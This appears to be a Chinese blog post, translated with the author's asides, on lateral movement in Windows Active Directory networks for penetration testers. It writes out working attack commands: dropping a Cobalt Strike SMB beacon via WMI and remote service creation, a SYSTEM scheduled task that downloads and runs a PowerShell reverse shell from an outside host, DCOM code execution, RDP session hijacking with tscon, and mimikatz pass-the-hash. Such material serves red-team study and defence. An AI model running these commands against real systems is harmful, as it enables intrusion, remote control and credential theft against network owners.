0%

横向移动

横向移动

本文基本上译自参考链接Lateral Movement

寻找拥有访问权限的地方

使用以下一种或多种方法,将向Active Directory用户授予对通用资源的访问权限:

  • 使用组策略对象(GPO)将用户添加到本地组
  • 本地添加用户到本地组,可以通过net.exe完成所述功能
  • 模拟一个在多个系统中使用相同密码的本地用户
  • 对共享文件提供读权限
  • 在AD中配置访问控制列表(ACL)
  • 使用AD用户/组配置对MSSQL实例的访问

关于本地组关系,我们应该对如下几个组最感兴趣

  • Administrators
  • Remote Desktop Users
  • Remote Management Users
  • Distributed COM Users

本地组成员-盲接触

测试我们是否拥有远程机器的本地管理员权限(位于Administrator组)的最简单方法就是dir一下远程目录
dir \\<TARGET>\C$
文件资源管理器直接访问也行
或者这个命令
powershell.exe Get-WMIObject -Class win32_operatingsystem -Computername TARGET
不过一个个试未免显得有些愚蠢,所以可以使用PowerView(现在已经整合到PowerSploit里面去了)的命令行工具Find-LocalAdminAccess自动化找到当前用户在该域下拥有管理员权限的机器(虽然我已经找不到整合进PowerSploit的哪里面了)

对于Remote Management Users,可以使用·Invoke-Command·这个工具检查能否在远程机器上执行命令
Invoke-Command -Computername TARGET -ScriptBlock {whoami}
Administrator组的用户也可成功执行上述命令
对于Remote Desktop Users可以尝试进行一个RDP连接进行尝试
对于Remote COM Users可以使用接下来将要讲述的DCOM技术进行验证

本地组成员-组策略对象

在默认情况下,任何一个域内用户都可以读取所有的GPO内容,可以通过查看GPO来收集一些信息,且这个操作相较于之前会触发更少的报警和日志
可以使用很多工具进行GPO的分析

  • PowerView
  • BloodHound
    使用Get-NetGPOGroup工具获得所有配置在本地的GPO
    使用whoami /groups查看自身所在的组
    需要注意的是想要枚举远程的本地组需要拥有本地管理员权限
    使用BloodHound时会将如下节点的关系对应到本地组成员中
BloodHound Relationship Local Group Membership
CanRDP Remote Desktop Users
AdminTo Administrators
ExecuteDCOM Remote COM Users
CanPSRemote Remote Management Users

访问共享文件

使用如下命令快速列出目标机器的共享文件(同样还是可以使用文件资源管理器)
net view TARGET
使用PowerView的Invoke-ShareFinder可以自动化的列出域内所有共享文件,-CheckAccessflag将会展示当前用户对该文件的读写权限

访问控制列表(ACL)

AD很复杂,因此我们以最直接的方式来解释ACL的概念,AD是一系列对象的数据库,而对象则分为:

  • 用户
  • 计算机
  • 组织单元(OU)
  • 组策略对象(GPO)
    ACL则控制访问这些对象的权利,ACL由访问控制项组成(ACE),每一个AD object都有一个ACL确定可以在其上执行的操作

如果我们可控的一个用户通过配错了的ACL控制某些AD管理员,就能完成横向移动的目的,比如某个管理员账户允许被其他账户改密码(这是有多蠢才能配成这样。。。)

MSSQL访问

可以通过配置MSSQL服务使得其通过AD凭证进行用户认证,可以使用PowerUpSQL工具对域内的所有MSSQL服务器进行发现并尝试与其进行接触
使用如下命令发现域内所有SQL服务器
Get-SQLInstanceDomain -Verbose
或是将上一个命令管道到另一个工具中以测试我们能否访问该访问
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

WMI

Requires Admin Local Group Membership ATTACK ID
Yes Administrators N/A

WMI全称Windows Management Instrumentation,即windows管理规范(?乱翻译的),使用WMI在远程机器上创建进程是完全可行的,且其语法十分简单,如下
wmic /node:TARGET process call create "notepad.exe"
当然,只是启动一个进程完全能打穿机器,但是我们可以上传一些比如CobaltStrike生成的SMB信标,并使用WMI执行之

shell copy smb-beacon.exe \\TARGET\C$\windows\temp
shell wmic /node:TARGET process call create “c:\windows\temp\smb-beacon.exe”
link TARGET`

最后的link TARGET命令是CobaltStrike特有的需求,使用其连接SMB信标打开的命名管道
关于SMB信标详见文末参考文章,简要的就是SMB Beacon进行正向连接,目标机器必须开启445端口,使用命名管道执行命令
当然这不是让机器上线的唯一方法,你甚至能通过一句话命令不修改硬盘的使机器上线(大概是直接载入内存?但是怎么做呢)

远程服务创建

即Remote Service Creation

Requires Admin Local Group Membership ATTACK ID
Yes Administrators N/A
使用sc.exe可以创建在远端机器上创建一个服务
copy smb-beacon.exe \\TARGET\C$\windows\temp
sc \\TARGET create TestService binpath= "C:\windows\temp\smb-beacon.exe"
sc \\TARGET start TestService

# from cobalt
link TARGET

# clean
sc \\TARGET delete TestService

和之前WMI的例子类似,上传一个SMB信标到目标机器,并创建一个服务执行信标,这里需要注意的是这里的信标需要是一个可执行的服务(?)

远程桌面协议

Requires Admin Local Group Membership ATTACK ID
No Remote Desktop Users T1076

RDP,如果你是一个Remote Desktop Users组中的账户,你也许能适应RDP去登陆到目标系统
使用BloodHound的CanRDP可以尝试使用RDP进行登录,查询所有能使用RDP登录其他机器的命令为
MATCH p=()-[:MemberOf*0..]->(g:Group)-[r:CanRDP]->() RETURN p

远程PowerShell

Requires Admin Local Group Membership ATTACK ID
No Remote Management Users,Administrators T1028
使用如下命令可以获取到远程交互式的Powershell
Enter-PSSession -Computername TAGRET
使用Invoke-Command可以以类似的方式执行命令块
Invoke-Command -Computername TARGET -ScriptBlock {whoami /priv}

任务管理器

Requires Admin Local Group Membership ATTACK ID
Yes Administrators N/A

如果我们拥有远程系统的本地管理员权限,可以在目标机器上创建一个计划任务(定时任务)
使用自带的工具schtasks.exe

schtasks /create /S TARGET /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://192.168.100.1:8080/Invoke-PowerShellTcp.ps1''')'"

参数如下所示

  • /S TATGET 指明远端服务器
  • /SC Weekly 设置任务执行间隔
  • /RU 指定任务运行权限
  • /TN 任务名
  • /TR 任务执行的命令

PsExec

前置知识

PsExec是一个windows命令行工具,其允许管理员在远端机器上运行命令,也是渗透下使用的最多的一种远程命令执行方法(需要用户名和密码登录上去,感觉也就是个ssh)
其是Telnet的一个替代工具,如今虽然我们有PowerShell Remoting和Invoke-Command PowerShell工具,但是PsExec仍占据着自己的一席之地
其在windowsXP后的系统均受支持(好像不是内置的?)

利用

Requires Admin Local Group Membership ATTACK ID
Yes Administrators N/A

想要使用PsExec执行命令,首先需要满足如下条件:

  • File and Printer sharing必须启用(445端口开放)
  • ADMIN$分享需要可用

使用如下命令可以用PsExec启用一个交互式的命令提示符
psexec.exe -accepteula \\TARGET cmd.exe

DCOM

Windows Distributed Component Object Model,Windows分布式组件对象模型

Requires Admin Local Group Membership ATTACK ID
No Remote COM Users,Administrators T1175

使用DCOM作为横向移动的技术意味着我们正在通过RPC(remote procedure call)访问DCOM接口,DCOM接口会绑定在远程系统的一个COM对象上,如果我们找到了一个暴露了代码执行函数的DCOM接口,我们也许能使用这些函数进行横向移动
幸运的是,许多研究者已经帮我们找到了合适的DCOM对象,MMC app就是一个通过DCOM暴露了意思的函数的windows应用的例子

如下是一种通过MMC应用在远程机器上执行命令的方法

$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","TARGET"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname > c:\fromdcom.txt","7")

除了MMC以外,还有很多合适的DCOM对象可以利用,由Cybereason维护了一个很好的收集列表
New lateral movement techniques abuse DCOM technology

在默认情况下,只有Administrator组的用户能够远程访问DCOM对象,然而,在某些情况下,Remote COM User组的用户也有使用远程DCOM执行代码的能力

使用BloodHound可以使用如下命令查看所有可以利用DCOM进行命令执行的机器
MATCH p=({owned:true})-[:MemberOf*0..]->(g:Group)-[r:ExecuteDCOM|AdminTo]->() RETURN p

密码喷射

Password Spray,乱翻译的。。感觉有类似的名词,说白了就是拿一个现成的密码撞

Requires Admin Local Group Membership ATTACK ID
No N/A T1110

可以使用DomainPasswordSpray这个工具自动化碰撞,这里要注意的是允许用户输入错误密码的次数,防止账号被锁定导致碰撞中断

文件夹重定向和漫游配置文件

原文是Folder Redirection and Roaming Profiles,后面这半边翻译不出来
在虚拟化或VDI环境中,遇上文件夹重定向和漫游配置文件是非常常见的,这项技术使管理员可以为用户的文件夹配置共享位置,我们所要做的是找到所有的重定向文件夹和漫游配置文件,并确认我们是否能写入它们。由于它们可以是常规共享文件,因此我们应该已经在最初的侦查阶段就确认了它们。
可以用来进行横向移动的技术有:

  • 后门EXE
  • 投放可以触发连向我们以控制机器的SMB连接的特殊文件

关于上述特殊文件的参考文章
LIVING OFF THE LAND: STEALING NETNTLM HASHES

RDP劫持

Requires Admin Local Group Membership ATTACK ID
Yes Administrators N/A

当你拥有一个其他人用RDP登录上来的机器的管理员权限时,可以在没有他们的凭证的情况下控制他们的RDP会话
使用query user命令查看当前活跃的会话(session)
为了获取到他人的会话,我们需要使用如下命令创建一个新的服务

sc create sessionhijack binpath= "cmd.exe /c tscon 2 /dest:rdp-tcp#7"
net start sessionhijack

参数说明:

  • tscon的值为需要控制的会话ID
  • /dest值为当前我们自己会话的名字

(不过他人远程登录到我这上面来了,是不是能直接mimikatz把凭证dump出来)

Pass-the-Hash

哈希传递

Requires Admin Local Group Membership ATTACK ID
Yes Administrators T1075

mimikatz

经典mimikatz
sekurlsa::pth /user:.\localadmin /ntlm:HASH /run:cmd.exe获得一个对应用户的cmd

Impacket

xfreerdp

可以通过PtH来远程桌面登录到一个系统上
但只在目标型号的操作系统上生效:

  • Windows Server 2012 R2
  • Windows 8.1
    使用xfreerdp工具完成攻击
    xfreerdp /u:admin /d:. /pth:hash:hash /v:TARGET

用户账户控制&用户权限分配

User Account Control & User Right Assignment
UAC中的某些设置可能导致PtH攻击无法生效,见下表

EnableLUA LocalAccountTokenFilterPolicy FilterAdministratorToken Effect
0 N/A N/A PtH可以在本地Administrator组和RID500的账户下生效
1 0 (default) 0 (default) 只能对RID为500的默认账户使用PtH
1 0 1 无法使用PtH
1 1 0 可以对任意本地admin组用户使用PtH

UAC设置可以本地或通过GPO进行配置
在本地系统中可以使用Seatbelt工具枚举UAC设置
Seatbelt.exe UACSystemPolicies
想要枚举使用GPO配置的UAC设置,可以使用PowerView的工具

windows有另一系列的设置以阻止我们横向移动,比如URA,用户权限分配。
URA是当用户登录到系统是分配权限的设置,我们重点关注两个权限:

  • SeDenyNetworkLogonRight禁止远程登录
  • SeDenyRemoteInteractiveLogonRight禁止用户远程桌面登录

Overpass-the-Hash

Pass-the-Ticket

详见mimikatz

参考链接

Lateral Movement
Cobalt Strike 几种不常见的上线方式
Psexec: The Ultimate Guide
New lateral movement techniques abuse DCOM technology
LIVING OFF THE LAND: STEALING NETNTLM HASHES